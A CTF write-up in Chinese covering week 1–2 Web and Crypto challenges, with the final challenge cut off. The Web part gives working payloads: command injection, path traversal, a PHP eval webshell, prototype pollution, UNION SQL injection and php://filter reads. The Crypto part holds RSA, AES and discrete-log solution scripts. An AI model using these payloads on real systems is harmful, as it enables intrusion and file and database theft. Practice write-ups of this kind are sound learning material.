Web

[Week1] secret of php

16进制绕过

a=0x7e9

来到 Flll4g.php

md5强碰撞一把梭了

a[]=1&b[]=2&aa=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&bb=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2&aaa=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&bbb=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

[Week1] 包含不明东西的食物?!

查看页面源码

image-20251004111911564

路径穿越读取flag

filename=../../../../../../../flag.txt

[Week1] Ping??

非预期

访问/flag.txt

预期

;cat f*;

[Week1] 前端小游戏

game.js找到flag

image-20251004124636004

[Week1] Gitttttttt

git泄露

python GitHack.py http://challenge.ilovectf.cn:30656/.git/

得到flag_yooooooouuuuuu_caannnnnnnntttttttt_fiiiiiinnnndddme.txt

[Week1] from_http

按照要求完成

image-20251004125343323

[Week2] 这是什么函数

猜测是原型链污染,后端是python环境

/static/污染成根目录

{"__init__":{"__globals__" : {"app" : {"_static_folder" : "/"}}}}

接着访问

/static/flag

得到flag

[Week2] 留言板

fenjing一把梭

image-20251011104021557

[Week2] Only Picture Up

先上传图片马,然后文件包含

<?php eval($_POST[1]);?>

包含

/index.php?preview=a.jpg

POST: 1=system("cat /F*");

[Week2] Regular Expression

正则表达式

?=-ctf%3C%0A%3E%3E%3E%3E%3Eh00!!!!!!!!!!@email.com%20flaga
POST: preg=||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||Please.*Flaggg0

[Week2] 登录和查询

爆破账号密码

admin:admin123

登陆后,进行SQL注入

查表名

?id=-1'union select 1,group_concat(hex(table_name)),1 from information_schema.tables where table_schema=database()--+

666C616773,7365637265745F64617461,7573657273
flags,secret_data,users


查列名

?id=-1' union select 1,group_concat(hex(column_name)),3 from information_schema.columns where table_schema=database() and table_name='flags'--+

6964,666C6167
id,flag

查数据(flag)

?id=-1' union select 1,concat(0x7e,id,0x7e,flag,0x7e),1 from flags limit 1,1 --+

2~flag{e4113521-e71b-42eb-a71c-a3e55c7aef2d}

[Week2] Look at the picture

使用伪协议读取/flag

?url=php://filter/resource=/flag

Crypto

[Week1] Basic Number theory

from Crypto.Util.number import *
from secret import flag

def gift(m, prime):
return pow(m, (prime + 1) // 2, prime)

m = bytes_to_long(flag)
p = getPrime(256)
q = getPrime(256)

print(f'p = {p}')
print(f'q = {q}')
print(f'gift1 = {gift(m, p)}')
print(f'gift2 = {gift(m, q)}')

# p = 71380997427449345634700552609577271052193856747526826598031269184817312570231
# q = 65531748297495117965939047069388412545623909154912018722160805504300279801251
# gift1 = 40365143212042701723922505647865230754866250738391105510918441288000789123995
# gift2 = 10698628345523517254945893573969253712072344217500232111817321788145975103342

函数gift(m, prime) = pow(m, (prime + 1) // 2, prime)的核心是利用了素数模下的二次剩余性质。对于奇素数p,根据欧拉准则:

  • m是模p的二次剩余,则m^((p-1)/2) ≡ 1 mod p
  • m不是模p的二次剩余,则m^((p-1)/2) ≡ -1 mod p

因此,gift(m, p) = m^((p+1)/2) mod p = m * m^((p-1)/2) mod p ≡ ±m mod p。即gift1 ≡ ±m mod pgift2 ≡ ±m mod q

mp和模q的可能取值各有 2 种,共 4 种组合:

  • m ≡ gift1 mod pm ≡ gift2 mod q
  • m ≡ gift1 mod pm ≡ -gift2 mod q
  • m ≡ -gift1 mod pm ≡ gift2 mod q
  • m ≡ -gift1 mod pm ≡ -gift2 mod q

枚举 4 种可能的组合,用 CRT 求解m并还原flag

exp

from Crypto.Util.number import long_to_bytes

# 已知参数
p = 71380997427449345634700552609577271052193856747526826598031269184817312570231
q = 65531748297495117965939047069388412545623909154912018722160805504300279801251
gift1 = 40365143212042701723922505647865230754866250738391105510918441288000789123995
gift2 = 10698628345523517254945893573969253712072344217500232111817321788145975103342

# 计算m mod p的两种可能
x1 = gift1
x2 = (p - gift1) % p # 等价于 -gift1 mod p

# 计算m mod q的两种可能
y1 = gift2
y2 = (q - gift2) % q # 等价于 -gift2 mod q

# 计算p在模q下的逆元(费马小定理,因q是素数)
inv_p_q = pow(p, q - 2, q)

def crt(a, b, p, q, inv_p_q):
"""用CRT求解m ≡ a mod p且m ≡ b mod q"""
delta = (b - a) % q # 确保差值为正数
k = (delta * inv_p_q) % q # 求解k使得a + k*p ≡ b mod q
return a + k * p # 得到m

# 枚举4种组合并尝试还原flag
candidates = [
crt(x1, y1, p, q, inv_p_q),
crt(x1, y2, p, q, inv_p_q),
crt(x2, y1, p, q, inv_p_q),
crt(x2, y2, p, q, inv_p_q)
]

# 转换为字符串并输出有效的flag
for m in candidates:
try:
flag = long_to_bytes(m).decode()
if "flag{" in flag: # 假设flag格式为flag{...}
print("找到flag:", flag)
except:
continue
# 找到flag: flag{Th3_c0rner5t0ne_0f_C2ypt0gr@phy}

[Week1] xorRSA

from Crypto.Util.number import *
from secret import flag

p, q = getPrime(1024), getPrime(1024)
n = p * q
e = 65537
m = bytes_to_long(flag)
c = pow(m, e, n)
p_q = p ^ q

print(f'{n = }')
print(f'{e = }')
print(f'{c = }')
print(f'{p_q = }')

'''
n = 18061840786617912438996345214060567122008006566608565470922708255493870675991346333993136865435336505071047681829600696007854811200192979026938621307808394735367086257150823868393502421947362103403305323343329530015886676141404847528567199164203106041887980250901224907217271412495658238000428155863230216487699143138174899315041844320680520430921010039515451825289303532974354096690654604842256150621697967106463329359391655215554171614421198047559849727235032270127681416682155240317343037276968357231651722266548626117109961613350614054537118394055824940789414473424585411579459583308685751324937629321503890169493
e = 65537
c = 17953801553187442264071031639061239403375267544951822039441227630063465978993165328404783737755442118967031318698748459837999730471765908918892704038188635488634468552787554559846820727286284092716064629914340869208385181357615817945878013584555521801850998319665267313161882027213027139165137714815505996438717880253578538572193138954426764798279057176765746717949395519605845713927900919261836299232964938356193758253134547047068462259994112344727081440167173365263585740454211244943993795874099027593823941471126840495765154866313478322190748184566075583279428244873773602323938633975628368752872219283896862671494
p_q = 88775678961253172728085584203578801290397779093162231659217341400681830680568426254559677076410830059833478580229352545860384843730990300398061904514493264881401520881423698800064247530838838305224202665605992991627155227589402516343855527142200730379513934493657380099647739065365753038212480664586174926100
'''

泄露的信息是p^q,用dfs搜索即可,剪枝加速

exp

import gmpy2
from Crypto.Util.number import *
import sys
sys.setrecursionlimit(2000)

n = 18061840786617912438996345214060567122008006566608565470922708255493870675991346333993136865435336505071047681829600696007854811200192979026938621307808394735367086257150823868393502421947362103403305323343329530015886676141404847528567199164203106041887980250901224907217271412495658238000428155863230216487699143138174899315041844320680520430921010039515451825289303532974354096690654604842256150621697967106463329359391655215554171614421198047559849727235032270127681416682155240317343037276968357231651722266548626117109961613350614054537118394055824940789414473424585411579459583308685751324937629321503890169493
e = 65537
c = 17953801553187442264071031639061239403375267544951822039441227630063465978993165328404783737755442118967031318698748459837999730471765908918892704038188635488634468552787554559846820727286284092716064629914340869208385181357615817945878013584555521801850998319665267313161882027213027139165137714815505996438717880253578538572193138954426764798279057176765746717949395519605845713927900919261836299232964938356193758253134547047068462259994112344727081440167173365263585740454211244943993795874099027593823941471126840495765154866313478322190748184566075583279428244873773602323938633975628368752872219283896862671494
p_q = 88775678961253172728085584203578801290397779093162231659217341400681830680568426254559677076410830059833478580229352545860384843730990300398061904514493264881401520881423698800064247530838838305224202665605992991627155227589402516343855527142200730379513934493657380099647739065365753038212480664586174926100


def decode_rsa(p,q,c):
e = 65537
d = gmpy2.invert(e, (p - 1) * (q - 1))
m = pow(c, d, p*q)
flag = long_to_bytes(m)
print(flag)
exit()


LEAK = bin(p_q)[2:].zfill(1024)
def find(ph,qh,h):
if h == 1024:
p = int(ph,2)
q = int(qh,2)
if p*q==n:
decode_rsa(p,q,c)
return

pM = int(ph + (1024-h)*"1",2)
qM = int(qh + (1024-h)*"1",2)
pm = int(ph + (1024-h)*"0",2)
qm = int(qh + (1024-h)*"0",2)

if pm*qm>n or pM*qM<n:
return


if(LEAK[h] == "0"):
find(ph+"1",qh+"1",h+1)
find(ph+"0",qh+"0",h+1)
else:
find(ph+"1",qh+"0",h+1)
find(ph+"0",qh+"1",h+1)


find("","",0)
# b'flag{U5e_PruN1ng_41g0rI7hm_tO_sEarch}'

[Week1] two Es

from Crypto.Util.number import *
import random
from secret import flag

p, q = getPrime(512), getPrime(512)
n = p * q

e1 = random.getrandbits(32)
e2 = random.getrandbits(32)

m = bytes_to_long(flag)
c1 = pow(m, e1, n)
c2 = pow(m, e2, n)

print(f'{n = }')
print(f'{e1 = }')
print(f'{e2 = }')
print(f'{c1 = }')
print(f'{c2 = }')

'''
n = 118951231851047571559217335117170383889369241506334435506974203511684612137655707364175506626353185266191175920454931743776877868558249224244622243762576178613428854425451444084313631798543697941971483572795632393388563520060136915983419489153783614798844426447471675798105689571205618922034550157013396634443
e1 = 2819786085
e2 = 4203935931
c1 = 104852820628577684483432698430994392212341947538062367608937715761740532036933756841425619664673877530891898779701009843985308556306656168566466318961463247186202599188026358282735716902987474154862267239716349298652942506512193240265260314062483869461033708176350145497191865168924825426478400584516421567974
c2 = 43118977673121220602933248973628727040318421596869003196014836853751584691920445952955467668612608693138227541764934104815818143729167823177291260165694321278079072309885687887255739841571920269405948846600660240154954071184064262133096801059918060973055211029726526524241753473771587909852399763354060832968
'''

共模攻击

n = 118951231851047571559217335117170383889369241506334435506974203511684612137655707364175506626353185266191175920454931743776877868558249224244622243762576178613428854425451444084313631798543697941971483572795632393388563520060136915983419489153783614798844426447471675798105689571205618922034550157013396634443
e1 = 2819786085
e2 = 4203935931
c1 = 104852820628577684483432698430994392212341947538062367608937715761740532036933756841425619664673877530891898779701009843985308556306656168566466318961463247186202599188026358282735716902987474154862267239716349298652942506512193240265260314062483869461033708176350145497191865168924825426478400584516421567974
c2 = 43118977673121220602933248973628727040318421596869003196014836853751584691920445952955467668612608693138227541764934104815818143729167823177291260165694321278079072309885687887255739841571920269405948846600660240154954071184064262133096801059918060973055211029726526524241753473771587909852399763354060832968
import gmpy2
import libnum
s,s1,s2=gmpy2.gcdext(e1,e2)
m=(pow(c1,s1,n)*pow(c2,s2,n))%n
m = gmpy2.iroot(m,s)[0]
print(libnum.n2s(int(m)).decode())
# flag{s01v3_rO0T_bY_7he_S4mE_m0dU1u5}

[Week1] Strange Machine

from secret import msg_len, offset, plaintext
from Crypto.Util.number import long_to_bytes
from random import randbytes
from base64 import b64encode
from pwn import xor
import os

flag = os.getenv('FLAG')


def banner():
print("你发现了一个奇怪的机器,它对你的消息进行了加密。")
print("你截获了这个机器第一次的密文,同时可以继续使用该机器进行加密。")
print("注意:所有密文输出都经过 base64 编码,方便你复制分析。\n")


def menu():
print(f"1. 加密消息")
print(f"2. 校验明文是否正确")
print(f"3. 退出")


class Key:
def __init__(self):
self.seed = randbytes(msg_len)

def generate(self):
self.seed = self.seed[offset:] + self.seed[:offset]
return self.seed


def pad(msg):
pad_len = msg_len - len(msg)
return msg + pad_len * long_to_bytes(pad_len)


def encrypt(msg, key):
cipher = xor(pad(msg), key)
return b64encode(cipher)


def main():
banner()
key = Key()
cur_key = key.generate()
cipher1 = encrypt(plaintext, cur_key)
print(f'[*] 首次密文(base64):{cipher1}\n')
while True:
try:
menu()
choice = int(input(f"[?] 请输入你的选择:"))
if choice == 1:
msg = input(f"[?] 请输入要加密的消息(长度小于等于{msg_len}): ").encode()
if len(msg) > msg_len:
print(f"[!] 输入消息过长,最长为 {msg_len} 字节\n")
continue

cur_key = key.generate()
cipher = encrypt(msg, cur_key)

print(f"[*] 你的消息已加密(密文): {cipher}\n")
continue

if choice == 2:
msg = input(f"[?] 请输入待校验的明文: ").encode()
if msg == plaintext:
print(f"[*] 这是你的flag: {flag}\n")
break
print("[!] 校验错误!\n")
continue

if choice == 3:
print("再见~\n")
break

print("[!] 无效输入\n")
except Exception:
print("[!] 出现错误!\n")
break


if __name__ == "__main__":
main()

经过测试可以发现,第一次和第三次输入相同的明文,得到的密文是一样的,可以判断key循环了

因此第二次输入用于加密的密钥和加密plaintext所用的密钥是相同的

image-20251004135857824

exp

import base64

def xor(key,data):
res = []
for i in range(len(data)):
res += [key[i%len(key)]^data[i]]
return bytes(res)

m = b'1'*16

data = 'FteGZOfSeL9IlSAOI5jTOA=='
key = xor(m,base64.b64decode(data))

data = 'aI6bLLmWaegQynUfe93DCA=='
res = xor(key,base64.b64decode(data))
print(res)
# b'Oh,you find it!\x01'

[Week1] beyondHex

17进制

enc = '807G6F429C7FA2200F46525G1350AB20G339D2GB7D8'
res = int(enc,17)
print(bytes.fromhex(hex(res)[2:]))
# b'flag{welc0me_t0_?CTF!}'

[Week1] certificate

-----BEGIN RSA PRIVATE KEY-----
MIICewIBAAKBgQCdA0+pqynKvc3/BH5ojnUXBMdWy9Lzi9TwSaOgiJ6ky//QBrWG
CNan98CYNcoKux2yOtHKIjxUrPh+LdgjmW+/paWPJyrnoQw5SqD+FvqNTjG7Akvx
+TUXyMflL9qodrWBEbl/xmN01Qbivo36+U1mFDB+6LENk/3BwWXHVj0DvQIhAL7t
Vc3/3jEFe+paWKNoTV++2B8D1T+ii7ZYsy3kU1yNAoGA????????????????????
????????????????????????????????????????????????????????????????
????????????????????????????????????????????????????????????????
??????????????????????kCQQ??????????????????????????????????????
????????????????????????????????????????????????AkE?????????????
????????????????????????????????????????????????????????????????
?????????wJAJrKFhI5pl/oBN2BZqLTf+NacGqTFrzmbi7RVFaN43kXYXu11urXy
LTncfJXBpRhtGFdsL31jiswhiYRp9yjT+wJB????????????????????????????
??????????????????????????????????????????????????????????MCQQ??
????????????????????????????????????????????????????????????????
????????????????????
-----END RSA PRIVATE KEY-----


cipher: 82404436498466895324733436901056359489189960512493202570903960333247277400247388969097533191635462377037232768074464944681385506170855774688613792302290304494481765906529480985984818897269069587516233500512849282866396228645039453616712857020451120948641770106851301755195757766245239907077580562163260112662

题目泄露了部分私钥

根据私钥的格式,可以提取出n e dp

参考链接:(PKCS1) RSA 公私钥 pem 文件解析

接着,根据泄露的东西,有以下数学关系

e*dp == 1 mod (p-1)
m^(e*dp) == m mod (p)
p = GCD(m^(e*dp)-m,n)

exp

import gmpy2
from Crypto.Util.number import *
import math

e = 0x00beed55cdffde31057bea5a58a3684d5fbed81f03d53fa28bb658b32de4535c8d
n = 0x009d034fa9ab29cabdcdff047e688e751704c756cbd2f38bd4f049a3a0889ea4cbffd006b58608d6a7f7c09835ca0abb1db23ad1ca223c54acf87e2dd823996fbfa5a58f272ae7a10c394aa0fe16fa8d4e31bb024bf1f93517c8c7e52fdaa876b58111b97fc66374d506e2be8dfaf94d6614307ee8b10d93fdc1c165c7563d03bd
dp = 0x26b285848e6997fa01376059a8b4dff8d69c1aa4c5af399b8bb45515a378de45d85eed75bab5f22d39dc7c95c1a5186d18576c2f7d638acc21898469f728d3fb
c = 82404436498466895324733436901056359489189960512493202570903960333247277400247388969097533191635462377037232768074464944681385506170855774688613792302290304494481765906529480985984818897269069587516233500512849282866396228645039453616712857020451120948641770106851301755195757766245239907077580562163260112662

S = e*dp - 1


a = 2
p = math.gcd(pow(a, S, n) - 1, n)
q = n // p

phi = (p-1)*(q-1)
d = pow(e, -1, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print(flag)
# b'This is your flag:flag{4n_3xc3551v3ly_l4r93_publ1c_k3y_c4n_b3_pr0bl3m4t1c}'

[Week2] AES_mode

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import binascii
from Crypto.Util.number import bytes_to_long
from secret import flag
import os

iv = flag.strip(b'flag{').strip(b'}')

key = os.urandom(16)

hint = os.urandom(4) * 8
print(bytes_to_long(hint)^bytes_to_long(key))

msg = b'Welcome to ?CTF! , I hope you can have fun!!!!!!'
def encrypto(message):
aes = AES.new(key,AES.MODE_CBC,iv)
return aes.encrypt(message)

print(binascii.hexlify(encrypto(msg))[-32:])
'''
91749376808341004327450956291130629671202939702313462998246826182668975563684
b'8f325d5b5c5454680628fa08746d67cf'
'''

参考链接:CRYPTO/Part 1/23-Cry-Monday-第二节课作业.md

考察异或的一个知识点,因为hint的是4个随机字节重复8次,也就是32个,而key只有16位,所以两个异或之后,hint的一部分信息会显示出来(前16个),因此我们就可以复原hint,之后将复原出来的hint与结果异或一次就可以复原key了。

之后就是解AES,但是我们不知道iv,所以没办法用CBC的模式直接解密,但是根据提示,我们可以用ECB的方式解密,这两个只差一个异或,解密完了异或回去就可以得到iv,从而达到解密效果

from Crypto.Cipher import AES
from Crypto.Util.number import bytes_to_long,long_to_bytes
from Crypto.Util.number import *

c= b'8f325d5b5c5454680628fa08746d67cf'
msg = b'Welcome to ?CTF! , I hope you can have fun!!!!!!'
print(len(msg))
tem=91749376808341004327450956291130629671202939702313462998246826182668975563684

hint=long_to_bytes(tem)[:16]*2
key = bytes_to_long(hint)^tem
# print(key)

key=long_to_bytes(key)


def decrypt(c):
AES_ECB = AES.new(key, AES.MODE_ECB)
decrypted = AES_ECB.decrypt(long_to_bytes(c))
return decrypted

c3=decrypt(int(c,16))
c2=bytes_to_long(c3)^bytes_to_long(msg[32:48])
c2=decrypt(c2)
c1=bytes_to_long(c2)^bytes_to_long(msg[16:32])
c1=decrypt(c1)
iv=bytes_to_long(c1)^bytes_to_long(msg[0:16])


print(b'flag{'+long_to_bytes(iv)+b'}')
# b'flag{CBc_Us3s_Iv!=ECb}'

[Week2] Common RSA

from Crypto.Util.number import *
from secret import flag

assert flag.startswith(b'flag{') and flag.endswith(b'}')

p, q = getPrime(512), getPrime(512)
n = p * q
e = 65537
m = bytes_to_long(flag)
c = pow(m, e, n)

hint = pow(p + q, 2, n)

print(f'{n = }')
print(f'{e = }')
print(f'{c = }')
print(f'{hint = }')

'''
n = 131597024257614620869648421307952022599943625170798058722475560465555374754170467986433278540604131619940641178519954230167502146438244308999511105433219427638803460889093328223802388178143540560813587991639442439109510325931982801296494725966519902673302205827914999084293810023067168509012158443748031939483
e = 65537
c = 1968659140793648429069472000786965200510587960406184785982668854732724642287423003255222009970017202179772168410459767605874195614574533370563277818681668876342943583147204497260995173839443989636764614809399895977498001560095317260220383552929292480197409615426208803132661827666690467265686165715909909838
hint = 8041845809205494984282719083536906169105876887210623661715566866580197885950852556859414098121226785749033039450259965513505083753685569890927709072642971188655408152663342066047346862975209503093968807589977151718256296935551857116746970823854584764670720138775077146982697233376686489502015164620786724
'''

moeCTF2025有道题一样的思路

已知hint = pow(p + q, 2, n),则有hint + k*n == p+q

因为n=p*q因此k最大也就是4

爆破k求出p+q

接着求出p和q的值,因为phi和e不互素

用AMM或者有限域开方求出flag

求p和q

import random
import math
import gmpy2
from Crypto.Util.number import long_to_bytes


def find(e, p):
root = []
while len(root) < e:
a = random.randint(2, p - 1)
res = pow(a, (p - 1) // e, p)
if res not in root:
root.append(res)
return root


def AMM(residue, e, p):
# 计算t,s
t = 0
s = p - 1
while s % e == 0:
t += 1
s = s // e

d = gmpy2.invert(e, s)

if t == 1:
return pow(residue, d, p)

noresidue = random.randint(1, p)
while pow(noresidue, (p - 1) // e, p) == 1:
noresidue = random.randint(1, p)
a = pow(noresidue, (e ** (t - 1)) * s, p)
b = pow(residue, e * d - 1, p)
c = pow(noresidue, s, p)
h = 1
for i in range(1, t):
d = pow(b, e ** (t - 1 - i), p)
if d == 1:
j = 0
else:
j = -math.log(d, a)
b = pow(pow(c, e, p), j, p) * b % p
h = pow(c, j, p) * h % p
c = pow(c, e, p)
return pow(residue, d, p) * h % p


def Get_Mi(m_list, m):
M_list = []
for mi in m_list:
M_list.append(m // mi)
return M_list

def Get_resMi(M_list, m_list):
resM_list = []
for i in range(len(M_list)):
resM_list.append(Get_ni(M_list[i], m_list[i])[0])
return resM_list

def Get_ni(a, b):
if b == 0:
x = 1
y = 0
q = a
return x, y, q
ret = Get_ni(b, a % b)
x = ret[0]
y = ret[1]
q = ret[2]
temp = x
x = y
y = temp - a // b * y
return x, y, q

def result(a_list, m_list):
for i in range(len(m_list)):
for j in range(i + 1, len(m_list)):
if 1 != math.gcd(m_list[i], m_list[j]):
print("不能直接利用中国剩余定理")
return
m = 1
for mi in m_list:
m *= mi
Mi_list = Get_Mi(m_list, m)
Mi_inverse = Get_resMi(Mi_list, m_list)
x = 0
for i in range(len(a_list)):
x += Mi_list[i] * Mi_inverse[i] * a_list[i]
x %= m
return x
def RSA_dec(n,e,c):
phi=n-1
gcd1 = gmpy2.gcd(e, phi)
t1 = e // gcd1
dt = gmpy2.invert(t1, phi)
m_gcd1 = gmpy2.powmod(c, dt, n)
m = gmpy2.iroot(m_gcd1, gcd1)[0]
return m

n = 131597024257614620869648421307952022599943625170798058722475560465555374754170467986433278540604131619940641178519954230167502146438244308999511105433219427638803460889093328223802388178143540560813587991639442439109510325931982801296494725966519902673302205827914999084293810023067168509012158443748031939483
e = 65537
c = 1968659140793648429069472000786965200510587960406184785982668854732724642287423003255222009970017202179772168410459767605874195614574533370563277818681668876342943583147204497260995173839443989636764614809399895977498001560095317260220383552929292480197409615426208803132661827666690467265686165715909909838
hint = 8041845809205494984282719083536906169105876887210623661715566866580197885950852556859414098121226785749033039450259965513505083753685569890927709072642971188655408152663342066047346862975209503093968807589977151718256296935551857116746970823854584764670720138775077146982697233376686489502015164620786724

for k in range(1,10):
p_add_q = gmpy2.iroot(hint + k*n,2)
if p_add_q[1]:
s_square = k * n + hint
s = p_add_q[0]
inner_value = s_square - 4 * n
# print('s_square:',s_square)
# print('inner_value:',inner_value)

inner_value_sqrt = gmpy2.iroot(inner_value,2)[0]
assert inner_value_sqrt**2 == inner_value
p = (s - inner_value_sqrt) // 2
q = (s + inner_value_sqrt) // 2
break

print('p =',p)
print('q =',q)


解flag

import random
import time
from Crypto.Util.number import *

# About 3 seconds to run
def AMM(o, r, q):
start = time.time()
print('\n----------------------------------------------------------------------------------')
print('Start to run Adleman-Manders-Miller Root Extraction Method')
print('Try to find one {:#x}th root of {} modulo {}'.format(r, o, q))
g = GF(q)
o = g(o)
p = g(random.randint(1, q))
while p ^ ((q-1) // r) == 1:
p = g(random.randint(1, q))
print('[+] Find p:{}'.format(p))
t = 0
s = q - 1
while s % r == 0:
t += 1
s = s // r
print('[+] Find s:{}, t:{}'.format(s, t))
k = 1
while (k * s + 1) % r != 0:
k += 1
alp = (k * s + 1) // r
print('[+] Find alp:{}'.format(alp))
a = p ^ (r**(t-1) * s)
b = o ^ (r*alp - 1)
c = p ^ s
h = 1
for i in range(1, t):
d = b ^ (r^(t-1-i))
if d == 1:
j = 0
else:
print('[+] Calculating DLP...')
j = - dicreat_log(a, d)
print('[+] Finish DLP...')
b = b * (c^r)^j
h = h * c^j
c = c ^ r
result = o^alp * h
end = time.time()
print("Finished in {} seconds.".format(end - start))
print('Find one solution: {}'.format(result))
return result

def findAllPRoot(p, e):
print("Start to find all the Primitive {:#x}th root of 1 modulo {}.".format(e, p))
start = time.time()
proot = set()
while len(proot) < e:
proot.add(pow(random.randint(2, p-1), (p-1)//e, p))
end = time.time()
print("Finished in {} seconds.".format(end - start))
return proot

def findAllSolutions(mp, proot, cp, p):
print("Start to find all the {:#x}th root of {} modulo {}.".format(e, cp, p))
start = time.time()
all_mp = set()
for root in proot:
mp2 = mp * root % p
assert(pow(mp2, e, p) == cp)
all_mp.add(mp2)
end = time.time()
print("Finished in {} seconds.".format(end - start))
return all_mp

n = 131597024257614620869648421307952022599943625170798058722475560465555374754170467986433278540604131619940641178519954230167502146438244308999511105433219427638803460889093328223802388178143540560813587991639442439109510325931982801296494725966519902673302205827914999084293810023067168509012158443748031939483
e = 65537
c = 1968659140793648429069472000786965200510587960406184785982668854732724642287423003255222009970017202179772168410459767605874195614574533370563277818681668876342943583147204497260995173839443989636764614809399895977498001560095317260220383552929292480197409615426208803132661827666690467265686165715909909838
p = 11426824077836755495280357054790333684863938044257704528662235024002507215836880134548286374738252595545758498922210216905258406873430274217501038930995351
q = 11516500417019426723367143367023721121114237031914370279724222540748204265234478123246834079895657926608151549574717796604640363281423933511518846958827933

cp = c % p
cq = c % q
mp = AMM(cp, e, p)
mq = AMM(cq, e, q)
p_proot = findAllPRoot(p, e)
q_proot = findAllPRoot(q, e)
mps = findAllSolutions(mp, p_proot, cp, p)
mqs = findAllSolutions(mq, q_proot, cq, q)
# print(mps, mqs)


start = time.time()
print('Start CRT...')
for mpp in mps:
for mqq in mqs:
solution = CRT_list([int(mpp), int(mqq)], [p, q])
flag = long_to_bytes(int(solution))
if b'flag{' in flag:
print(flag)
print(time.time() - start)

end = time.time()
print("Finished in {} seconds.".format(end - start))
# b'flag{1t_i5_N0T_4_c0mmOn_R5A!}'

能通,但时间很久,挂了一晚上出了,耗时34657s

image-20251014121956534

[Week2] findKey in middle

from Crypto.Util.Padding import pad
from Crypto.Util.number import *
from random import getrandbits
from Crypto.Cipher import AES
from hashlib import sha256
from secret import flag

def f(x, y):
return (pow(3, x, p) * pow(5, y, p)) % p

def split_key(key):
x, y = getPrime(16), getPrime(16)
assert x * y > key
k1, k2 = key % x, key % y
return k1, k2, x, y

def aes_encrypt(key, flag):
aes = AES.new(key, AES.MODE_ECB)
return aes.encrypt(pad(flag, 16))

p = 1000000007

key = getrandbits(32)
k1, k2, mod1, mod2 = split_key(key)
x = f(k1, k2)

cipher = aes_encrypt(sha256(long_to_bytes(key)).digest()[:16], flag)

print(f'x = {x}')
print(f'mod = {(mod1, mod2)}')
print(f'cipher = {cipher}')
# x = 367608838
# mod = (41813, 53149)
# cipher = b'\x98\xfd\xa8\x05R\x17\xb6y%"\t\xb4\xd7\x82\xc4\'\x0b8\x14q\xff.\x13\xfb\xa4D\xb4\xde-\xd5c\xd6M\x13\x90\xdb\x81\xbd\xd0c>A\xbc)\xd0U\x7fW'

因为 k1 < 41813k2 < 53149,搜索空间很小。虽然直接暴力所有 (k1, k2) 会稍大,但可以分两步优化:

计算 3^k1 mod p 并存入表。
对每个 k2 计算 (367608838 * 5^{-k2}) mod p,查表得到匹配的 k1

有了 (k1, k2) 后,用中国剩余定理 (CRT) 合并

即可得到唯一解 key

AI梭的脚本

from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from hashlib import sha256

p = 1000000007
x_target = 367608838
mod1, mod2 = 41813, 53149

# 给定的密文(来自题目)
cipher = b'\x98\xfd\xa8\x05R\x17\xb6y%"\t\xb4\xd7\x82\xc4\'\x0b8\x14q\xff.\x13\xfb\xa4D\xb4\xde-\xd5c\xd6M\x13\x90\xdb\x81\xbd\xd0c>A\xbc)\xd0U\x7fW'

# 1) 预计算 3^k1 mod p 的哈希表
pow3 = {}
v = 1
for k1 in range(mod1):
if v not in pow3:
pow3[v] = k1
v = (v * 3) % p

# 2) 计算 inv5 并枚举 k2,查表寻找匹配
inv5 = pow(5, p-2, p)
cur = x_target
found = []
for k2 in range(mod2):
if cur in pow3:
k1 = pow3[cur]
found.append((k1, k2))
cur = (cur * inv5) % p

print("找到的 (k1, k2) 列表:", found)

# 3) CRT 合并
def egcd(a, b):
if b == 0:
return (a, 1, 0)
g, x1, y1 = egcd(b, a % b)
return (g, y1, x1 - (a // b) * y1)

def crt_pair(a1, m1, a2, m2):
g, s, t = egcd(m1, m2)
if (a2 - a1) % g != 0:
return None
lcm = m1 // g * m2
mult = ((a2 - a1) // g) * s % (m2 // g)
x = (a1 + m1 * mult) % lcm
return x

results = []
for k1, k2 in found:
key_candidate = crt_pair(k1, mod1, k2, mod2)
results.append((k1, k2, key_candidate))

for k1, k2, key in results:
print(f"\nk1={k1}, k2={k2}, 合并得到 key={key}")
if key is None:
print("CRT 失败。")
continue
if key >= 2**32:
print("注意:得到的 key 超过 32-bit 范围(>= 2**32)。")
continue

aes_key = sha256(long_to_bytes(key)).digest()[:16]
aes = AES.new(aes_key, AES.MODE_ECB)
try:
plaintext = unpad(aes.decrypt(cipher), 16)
print("解密成功!flag =", plaintext)
except Exception as e:
print("解密/去填充失败:", e)
# 解密成功!flag = b'flag{e31343dd-4795-4236-bbec-11b8410b5ce6}'

[Week2] baby Elgamal

from Crypto.Util.number import *
import random
from secret import flag

p = getPrime(512)
g = random.randint(2, p - 2)
x = random.getrandbits(32)
y = pow(g, x, p)

print(f'{p = }')
print(f'{g = }')
print(f'{y = }')

k = random.randint(2, p - 2)
m = bytes_to_long(flag)
c1 = pow(g, k, p)
c2 = m ^ pow(y, k, p)

print(f'{c1 = }')
print(f'{c2 = }')

'''
p = 10560464175631160709999383504944939280267067560378620626979040921315467798501630079655340663547895515812021911470304483075907600549587171358369476255124337
g = 5572911063894340974483734192541353411838868965361107134612465011908061780180242348779533324820127053271574799429894984956163372524626786431177292215721384
y = 2551976503972625362405323290468587787679347326045114894085518452627208422960190509410833573983206966744456211220857302778318665690771595372276106771043208
c1 = 1205617983130100879228661072981675725569095797251301660744333997969095366993470887762473783053252549837619991656838026541987751368433948599410216526314464
